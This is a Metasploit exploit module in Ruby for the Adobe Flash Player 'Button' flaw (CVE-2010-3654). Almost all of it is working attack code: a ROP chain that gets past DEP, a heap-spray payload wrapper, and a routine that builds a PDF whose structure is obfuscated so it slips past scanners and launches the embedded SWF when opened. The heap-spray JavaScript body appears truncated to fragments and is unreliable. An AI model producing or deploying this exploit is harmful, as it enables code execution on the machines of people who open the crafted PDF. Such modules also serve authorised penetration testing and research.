require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player "Button" Remote Code Execution',
'Description'=> %q{
This module exploits a vulnerability in the handling of certain SWF movies
within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat
are also vulnerable, as are any other applications that may embed Flash player.
Arbitrary code execution is achieved by embedding a specially crafted Flash
movie into a PDF document. An AcroJS heap spray is used in order to ensure
that the memory used by the invalid pointer issue is controlled.
NOTE: This module uses a similar DEP bypass method to that used within the
adobe_libtiff module. This method is unlikely to work across various
Windows versions due a the hardcoded syscall number.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Unknown',
'Haifei Li',
'jduck'
],
'Version'=> '$Revision: 10857 $',
'References' =>
[
['CVE', '2010-3654'],
['OSVDB', '68932'],
['BID', '44504'],
['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'],
['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'],
['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
'DisablePayloadHandler' => 'true',
},
'Payload'=>
{
'Space'=> 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Oct 28 2010',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
], self.class)
end
def exploit
swf_data = make_swf()
js_data = make_js(payload.encoded)
pdf = make_pdf(swf_data, js_data)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def make_swf
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-3654.swf" )
fd = File.open( path, "rb" )
swf_data = fd.read(fd.stat.size)
fd.close
swf_data
end
def make_js(encoded_payload)
stack_data = [
0xc0c0c0c,
0x7002fe1,
0xcccccccc,
0xcccccccc,
0xc0c0c0c + 0x10,
0x7004919,
0xcccccccc,
0x70048ef,
0x700156f,
0xcccccccc,
0x7009084,
0x7009084,
0x7009084,
0x7009084,
0x7009084,
0x7009084,
0x7009033,
0x7009084,
0xc0c0c0c,
0x7009084,
0x7009084,
0x7009084,
0x7009084,
0x7009084,
0x7009084,
0x7009084,
0x7009084,
0x7001599,
0x10124,
0x70072f7,
0x10104,
0x70015bb,
0x1000,
0x700154d,
0x70015bb,
0x7ffe0300,
0x7007fb2,
0x70015bb,
0x10011,
0x700a8ac,
0x70015bb,
0x10100,
0x700a8ac,
0x70072f7,
0x10011,
0x70052e2,
0x7005c54,
0xffffffff,
0x10100,
0x0,
0x10104,
0x1000,
0x40,
0x700d731,
0x70015bb,
0x9054905a,
0x700154d,
0x700a722,
0x70015bb,
0x5815eb5a,
0x700154d,
0x700a722,
0x70015bb,
0x18891a8b,
0x700154d,
0x700a722,
0x70015bb,
0x8304c083,
0x700154d,
0x700a722,
0x70015bb,
0xfb8104c2,
0x700154d,
0x700a722,
0x70015bb,
0xc0c0c0c,
0x700154d,
0x700a722,
0x70015bb,
0x5ebee75,
0x700154d,
0x700a722,
0x70015bb,
0xffffe6e8,
0x700154d,
0x700a722,
0x70015bb,
0x909090ff,
0x700154d,
0x700a722,
0x70015bb,
0x90909090,
0x700154d,
0x700a722,
0x70015bb,
0x90909090,
0x700154d,
0x700a722,
0x70015bb,
0x90ffffff,
0x700154d,
0x700d731,
0x700112f
].pack('V*')
var_unescape= rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)
payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
js = %Q|
var
var
var
while (
while(
var
for (
|
js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj\n" % id
end
def ioRef(id)
"%d 0 R" % id
end
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(swf, js)
swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
xref = []
eol = "\n"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
xref << pdf.length
pdf << ioDef(1) << nObfu("<</Type/Catalog")
pdf << nObfu("/Pages ") << ioRef(3)
pdf << nObfu("/OpenAction ") << ioRef(5)
pdf << nObfu(">>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")
pdf << nObfu(">>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")
pdf << nObfu("/Rect [20 20 187 69] ")
pdf << nObfu("/RichMediaSettings ") << ioRef(8)
pdf << nObfu("/RichMediaContent ") << ioRef(9)
pdf << nObfu("/NM (") << swf_name << nObfu(")")
pdf << nObfu(">>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(8)
pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")
pdf << nObfu("/Activation ") << ioRef(10)
pdf << nObfu("/Deactivation ") << ioRef(11)
pdf << nObfu(">>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(9)
pdf << nObfu("<</Type/RichMediaContent")
pdf << nObfu("/Assets ") << ioRef(12)
pdf << nObfu("/Configurations [") << ioRef(14) << "]"
pdf << nObfu(">>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(10)
pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(11)
pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(12)
pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(13)
pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(14)
pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")
pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(15)
pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")
pdf << nObfu("/Asset ") << ioRef(13)
pdf << nObfu(">>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
pdf << "stream" << eol
pdf << swf << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
end